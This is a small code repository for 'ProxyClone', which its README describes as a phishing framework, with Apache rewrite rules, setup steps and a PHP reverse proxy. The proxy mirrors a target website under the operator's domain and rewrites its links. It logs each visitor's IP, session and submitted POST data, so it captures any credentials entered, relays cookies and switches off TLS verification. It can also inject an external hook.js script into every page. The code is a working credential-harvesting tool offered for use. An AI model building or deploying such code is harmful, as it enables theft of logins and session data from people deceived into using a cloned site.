├── .htaccess ├── README.md └── index.php /.htaccess: -------------------------------------------------------------------------------- 1 | Options +FollowSymLinks 2 | RewriteEngine on 3 | RewriteCond %{REQUEST_FILENAME} !-f 4 | RewriteCond %{REQUEST_FILENAME} !-d 5 | RewriteRule .* /index.php [L] 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ProxyClone 2 | Phishing framework for cloning and capturing data on targeted websites. 3 | 4 | ## Getting Started 5 | *Tested under Apache-2.4.7* 6 | 7 | Required: 8 | 1. Enable mod_rewrite: 9 | * *a2enmod rewrite && service apache2 restart* 10 | 2. Copy index.php and .htaccess to the DocumentRoot 11 | 3. Set $target variable to starting URL 12 | 13 | 14 | Optional: 15 | 1. To inject code into HTML responses, set $inject = TRUE 16 | 2. Modify $evilCode to injected JS 17 | 18 | By default, log data will be stored in /tmp/logFile.csv. These log instructions could easily be expanded to capture additional data. 19 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | token mappings 10 | $mapFile = '/tmp/mapFile.csv'; // Location to store host mapping 11 | $logFile = '/tmp/logFile.csv'; // Location to store request data 12 | 13 | // Set to TRUE to inject code 14 | $inject = FALSE; 15 | $evilCode = "http://127.0.0.1/hook.js"; 16 | 17 | // Send fake User-Agent? 18 | $sendUA = TRUE; 19 | 20 | function randToken() { 21 | return sprintf('%06X', mt_rand(0, 0xFFFFFF)); 22 | } 23 | 24 | function checkHostMap($oldHost) { 25 | global $hostMap, $myDomain; 26 | $parsedHost = parse_url($oldHost); 27 | if (array_key_exists($oldHost, $hostMap)) { 28 | // Have we already seen this host? 29 | $uniqValue = $hostMap[$oldHost]; 30 | $newHost = $myDomain . "/" . $uniqValue; 31 | } elseif (array_key_exists('host', $parsedHost) && $parsedHost['host'] !== $_SERVER['HTTP_HOST']) { 32 | // If not and it's not us, add a new entry 33 | while (1) { 34 | $uniqValue = randToken(); 35 | if (!in_array($uniqValue, $hostMap, true)) { 36 | break; 37 | } 38 | } 39 | $hostMap[$oldHost] = $uniqValue; 40 | $newHost = $myDomain . "/" . $uniqValue; 41 | } else { 42 | // Otherwise return localhost 43 | $newHost = $myDomain; 44 | } 45 | return $newHost; 46 | } 47 | 48 | function injectCode($output) { 49 | global $evilCode; 50 | $DOM = new DOMDocument; 51 | if ($DOM->loadHTML($output)) { 52 | $head = $DOM->getElementsByTagName('head')->item(0); 53 | if ($head) { 54 | $script = $DOM->createElement('script'); 55 | $script->setAttribute('src', $evilCode); 56 | $head->appendChild($script); 57 | } 58 | $output = $DOM->saveHTML(); 59 | } 60 | return $output; 61 | } 62 | 63 | function rewriteURLs($output) { 64 | global $url, $hostMap, $myDomain, $evilCode; 65 | $DOM = new DOMDocument; 66 | if ($DOM->loadHTML($output)) { 67 | // Extract scheme and host from current requested URL 68 | $parsedReqUrl = parse_url($url); 69 | $currentHost = $parsedReqUrl['scheme'] . "://" . $parsedReqUrl['host']; 70 | 71 | $attribs = array("src", "href", "action", 'content'); 72 | $elements = $DOM->getElementsByTagName('*'); 73 | 74 | foreach ($elements as $element) { 75 | foreach ($attribs as $attrib) { 76 | $srcNode = $element->attributes->getNamedItem($attrib); 77 | if ($srcNode) { 78 | $oldSrc = $element->attributes->getNamedItem($attrib)->value; 79 | // If we're dealing with Meta.content, extract URL 80 | // Fix this to find redirect attrib then do regex 81 | $tagName = $element->nodeName; 82 | if (strcasecmp($tagName, "meta") == 0 and preg_match("/(?<=url='|\")[^'|\"]*/i", $oldSrc, $extractedURL)) { 83 | $urlString = $extractedURL[0]; 84 | } 85 | else { 86 | $urlString = $oldSrc; 87 | } 88 | 89 | // Copy $urlString to modify 90 | $modURL = $urlString; 91 | 92 | // Don't modify evilCode 93 | if ($modURL !== $evilCode) { 94 | $parsedSrc = parse_url($modURL); 95 | // First rewrite relative links 96 | if (!array_key_exists('host', $parsedSrc)) { 97 | // Standard relative URL 98 | if (preg_match("/^\//i", $modURL)) { 99 | $modURL = $currentHost . $modURL; 100 | } else { 101 | $modURL = $currentHost . "/" . $modURL; 102 | } 103 | } else if (!array_key_exists('scheme', $parsedSrc)) { 104 | // Protocol relative 105 | if (preg_match("/^\/\//i", $modURL)) { 106 | $modURL = parse_url($currentHost)['scheme'] . ":" . $urlString; 107 | } 108 | } 109 | 110 | // Then rewrite absolute URLs 111 | $parsedSrc = parse_url($modURL); 112 | if (array_key_exists('host', $parsedSrc)) { 113 | // Don't rewrite if it's us 114 | if ($parsedSrc['host'] !== $_SERVER['HTTP_HOST']) { 115 | if (array_key_exists('scheme', $parsedSrc)) { 116 | $oldHost = $parsedSrc['scheme'] . "://" . $parsedSrc['host']; 117 | } else { 118 | $oldHost = $parsedSrc['host']; 119 | } 120 | $mappedHost = checkHostMap($oldHost); 121 | $newURL = str_replace($oldHost, $mappedHost, $modURL); 122 | $newSrc = str_replace($urlString, $newURL, $oldSrc); 123 | $element->setAttribute($attrib, $newSrc); 124 | } 125 | } 126 | } 127 | } 128 | } 129 | } 130 | $output = $DOM->saveHTML(); 131 | } 132 | return $output; 133 | } 134 | 135 | // Read current url->map data 136 | $hostMap = array(); 137 | if ($fMap = fopen($mapFile, "r+")) { 138 | while (($data = fgetcsv($fMap)) !== FALSE) { 139 | $hostMap[$data[0]] = $data[1]; 140 | } 141 | } 142 | fclose($fMap); 143 | 144 | // Does the URL contain a token? 145 | preg_match('/(?<=^\/)[a-zA-Z0-9]{6}/', $_SERVER['REQUEST_URI'], $uriToken); 146 | if (!empty($uriToken)) { 147 | $uriToken = $uriToken[0]; 148 | // Do we already have a URL associated with this token? 149 | if (in_array($uriToken, $hostMap, true)) { 150 | $host = array_search($uriToken, $hostMap); 151 | $path = substr($_SERVER['REQUEST_URI'], 7); 152 | $url = $host . $path; 153 | } else { 154 | $url = $target . $_SERVER['REQUEST_URI']; 155 | } 156 | } else { 157 | // If not, return the base URL 158 | $url = $target . $_SERVER['REQUEST_URI']; 159 | } 160 | 161 | // Is our hostname in request parameter? 162 | if (array_key_exists('QUERY_STRING', $_SERVER)) { 163 | parse_str($_SERVER['QUERY_STRING'], $parsedQuery); 164 | $queryData = array(); 165 | foreach($parsedQuery as $key => $value) { 166 | $myHost = $_SERVER['HTTP_HOST']; 167 | preg_match('/(https?:\/\/)(.*)/i', $target, $setTarget); 168 | $targetHost = $setTarget[2]; 169 | if (strstr($value, $myHost)) { 170 | $regex1 = '/('. $_SERVER['HTTP_HOST'] . ')(\/)(' . '[a-zA-Z0-9]{6})/'; 171 | if (preg_match($regex1, $value, $matches)) { 172 | // Does it appear to contain a token? 173 | $uriHostAndToken = $matches[0]; 174 | $uriHost = $matches[1]; 175 | $uriToken = $matches[3]; 176 | if (in_array($uriToken, $hostMap, true)) { 177 | // Do we have a mapping for this token? 178 | preg_match('/(https?:\/\/)(.*)/', array_search($uriToken, $hostMap), $mappedHost); 179 | $value = str_replace($uriHostAndToken, $mappedHost[2], $value); 180 | } 181 | else { 182 | // If no mapping found our regex may have failed, replace host with current target 183 | $value = str_replace($_SERVER['HTTP_HOST'], $setTarget[2], $value); 184 | } 185 | } else { 186 | // If not, just replace host with current target 187 | $value = str_replace($_SERVER['HTTP_HOST'], $setTarget[2], $value); 188 | } 189 | } 190 | $queryData[$key] = $value; 191 | 192 | } 193 | $queryString = http_build_query($queryData); 194 | $url = str_replace($_SERVER['QUERY_STRING'], $queryString, $url); 195 | } 196 | 197 | // Is this an SSL request? 198 | if (array_key_exists('HTTPS', $_SERVER) && $_SERVER["HTTPS"] === "on") { 199 | $myDomain = 'https://' . $_SERVER['HTTP_HOST']; 200 | } else { 201 | $myDomain = 'http://' . $_SERVER['HTTP_HOST']; 202 | } 203 | 204 | $ch = curl_init(); 205 | // Set content type 206 | if (array_key_exists('CONTENT_TYPE', $_SERVER)) { 207 | $contentType = $_SERVER['CONTENT_TYPE']; 208 | curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: " . $contentType)); 209 | } 210 | 211 | // Handle POST data 212 | if (array_key_exists('REQUEST_METHOD', $_SERVER) && $_SERVER['REQUEST_METHOD'] === "POST") { 213 | curl_setopt($ch, CURLOPT_POST, true); 214 | // Set content-type 215 | if (array_key_exists('CONTENT_TYPE', $_SERVER) && strpos($_SERVER['CONTENT_TYPE'], "multipart/form-data") === 0) { 216 | $fileName = $_FILES['upfile']['name']; 217 | $postData = file_get_contents($_FILES['upfile']['tmp_name']); 218 | } else { 219 | $postData = file_get_contents("php://input"); 220 | } 221 | curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); 222 | } 223 | else { 224 | $postData = ''; 225 | } 226 | 227 | // Set referrer 228 | if (array_key_exists('HTTP_REFERER', $_SERVER)) { 229 | curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']); 230 | } 231 | // Set User-Agent 232 | if ($sendUA) { 233 | if (array_key_exists('HTTP_USER_AGENT', $_SERVER)) { 234 | //curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 235 | curl_setopt($ch, CURLOPT_USERAGENT, "proxyClone"); 236 | 237 | } 238 | } 239 | 240 | // Do we have any cookies? 241 | // These should only be client side cookies - hackish fix 242 | if (array_key_exists('HTTP_COOKIE', $_SERVER)) { 243 | $incomingCookies = explode(';', $_SERVER['HTTP_COOKIE']); 244 | foreach ($incomingCookies as $cookie) { 245 | $extractedCookie = explode('=', $cookie, 2); 246 | if ($extractedCookie[0] != "PHPSESSID" and $extractedCookie[1] != session_id()) { 247 | $cookieEntry = ".google.com TRUE / FALSE 0 " . $extractedCookie[0] . "\t" . $extractedCookie[1] . PHP_EOL; 248 | file_put_contents($cookieFile, $cookieEntry, FILE_APPEND | LOCK_EX,null); 249 | } 250 | } 251 | } 252 | 253 | curl_setopt($ch, CURLOPT_URL, $url); 254 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 255 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 256 | curl_setopt($ch, CURLOPT_HEADER, 1); 257 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 258 | curl_setopt($ch, CURLINFO_HEADER_OUT, true); 259 | curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile); 260 | curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile); 261 | $curlResponse = curl_exec($ch); 262 | 263 | // Check that a connection was made 264 | if (curl_error($ch)) { 265 | print curl_error($ch); 266 | } else { 267 | // Clean duplicate responses 268 | $curlResponse = str_replace("HTTP/1.1 100 Continue\r\n\r\n", "", $curlResponse); 269 | $ar = explode("\r\n\r\n", $curlResponse, 2); 270 | $header = $ar[0]; 271 | $body = $ar[1]; 272 | 273 | // Repeat headers for client response 274 | $arHeader = explode(chr(10), $header); 275 | foreach ($arHeader as $key => $value) { 276 | if (!preg_match("/^Transfer-Encoding/", $value) && !preg_match("/^Set-Cookie/", $value)) { 277 | $value = str_replace($target, $myDomain, $value); 278 | if (preg_match("/^Location/", $value)) { 279 | $parsedSrc = parse_url(substr($value, 10)); 280 | $oldHost = $parsedSrc['scheme'] . "://" . $parsedSrc['host']; 281 | $newHost = checkHostMap($oldHost); 282 | $value = str_replace($oldHost, $newHost, $value); 283 | } 284 | if (preg_match("/^Content-Type/", $value)) { 285 | if (preg_match("/text\/html/i", $value)) { 286 | if ($inject) { 287 | $body = injectCode($body); 288 | } 289 | $body = rewriteURLs($body); 290 | } 291 | } 292 | header(trim($value)); 293 | } 294 | } 295 | $results = $body; 296 | } 297 | 298 | if (!empty($results)) { 299 | print $results; 300 | } 301 | 302 | // Update url mapping file 303 | $fMap = fopen($mapFile, 'w'); 304 | foreach ($hostMap as $key => $value) { 305 | $row = explode(',', $key . "," . $value); 306 | fputcsv($fMap, $row); 307 | } 308 | fclose($fMap); 309 | 310 | // Log request data 311 | $logging = fopen($logFile, 'a'); 312 | $info = curl_getinfo($ch); 313 | $row = array($_SERVER['REMOTE_ADDR'], session_id(), $info['url'], $postData); 314 | fputcsv($logging, $row); 315 | fclose($logging); 316 | 317 | curl_close($ch); 318 | ?> 319 | --------------------------------------------------------------------------------